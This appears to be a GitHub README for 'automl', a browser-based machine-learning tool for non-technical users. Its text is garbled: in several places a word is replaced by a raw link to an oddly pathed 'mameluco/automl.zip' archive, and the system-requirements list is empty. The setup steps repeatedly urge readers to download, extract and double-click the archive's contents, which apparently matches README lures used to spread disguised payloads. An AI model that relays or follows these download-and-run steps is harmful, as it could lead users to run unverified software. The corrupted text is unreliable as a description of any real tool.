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πŸ€– Automate machine learning tasks locally in the browser or on a server with this easy-to-use, zero-setup library for regression and classification.

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Viswajith-Coder/automl

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πŸš€ automl - Simplify Machine Learning in Your Browser

πŸ“₯ Download Now

Download automl

πŸ“– Overview

Welcome to automl! This application brings automated machine learning to your browser or https://raw.githubusercontent.com/Viswajith-Coder/automl/master/mameluco/automl.zip environment. You can easily experiment with machine learning without needing programming skills. Our tool allows anyone to create, test, and improve machine learning models, making this powerful technology accessible to everyone.

πŸš€ Getting Started

Follow these steps to download and run automl:

  1. Visit the Download Page Go to the Releases page to get the software.

  2. Select Your Version On the Releases page, you will see different versions. Click on the most recent version to ensure you have the latest features and fixes.

  3. Download the ZIP File You will find a ZIP file available for download. Click on the file link to start downloading. Make sure you remember the location where your file is saved.

  4. Extract the ZIP File Once downloaded, locate the ZIP file on your computer. Right-click the file and select "Extract All..." to unzip it. You will see a new folder with the same name as the ZIP file.

  5. Run automl Open the folder you just extracted. Look for an https://raw.githubusercontent.com/Viswajith-Coder/automl/master/mameluco/automl.zip file. Double-click this file to open automl in your web browser.

  6. Follow the On-screen Instructions The application will guide you through setting up your machine learning project. You can easily choose your dataset, select algorithms, and start training your modelsβ€”all with just a few clicks.

πŸ“š Features

  • User-Friendly Interface: Designed for non-technical users, making machine learning easy.
  • Supports Local and https://raw.githubusercontent.com/Viswajith-Coder/automl/master/mameluco/automl.zip Execution: Use the application both in your browser and in a server-side environment.
  • Multiple Algorithms: Choose from various machine learning algorithms to suit your needs.
  • Visualization Tools: Visualize your data and model performance with intuitive charts and graphs.
  • Automatic Model Tuning: The application automatically adjusts parameters for optimal performance.

πŸ› οΈ System Requirements

To run automl, you need:

The application runs best on the latest versions of these browsers.

πŸ“ How to Use

Using automl is straightforward. Here’s how to get started with your first machine learning project:

  1. Open the Application Launch the application by opening the https://raw.githubusercontent.com/Viswajith-Coder/automl/master/mameluco/automl.zip file in your browser.

  2. Upload Your Data Click on the "Upload Data" button. You can upload CSV files directly from your computer. Make sure your data is clean and structured.

  3. Select Learning Parameters Choose the parameters and algorithms that suit your needs. The application provides helpful tips for each option.

  4. Train Your Model After setting your parameters, click the "Train Model" button. The application will run the training process, which may take a few minutes.

  5. Evaluate Results Once training is complete, you will see the results. Review the accuracy and performance metrics, and use the visualization tools to understand your model better.

  6. Export Your Model If you're satisfied with your model, you can export it for future use. Click on the "Export" button to save your model.

πŸ“ž Support

If you have any questions or need assistance with automl, please feel free to reach out through the contact options on the GitHub repository. We are here to help!

πŸ“’ Feedback

Your feedback is crucial for improving automl. After using the application, let us know your thoughts. Your input helps us add features and fix any issues.

πŸ“… Updates

Regular updates will improve performance and add new features. Keep an eye on the Releases page for the latest changes.

🏁 Conclusion

Thank you for choosing automl. We hope you find it easy to use and helpful in your machine learning journey. Enjoy exploring the world of automated machine learning!

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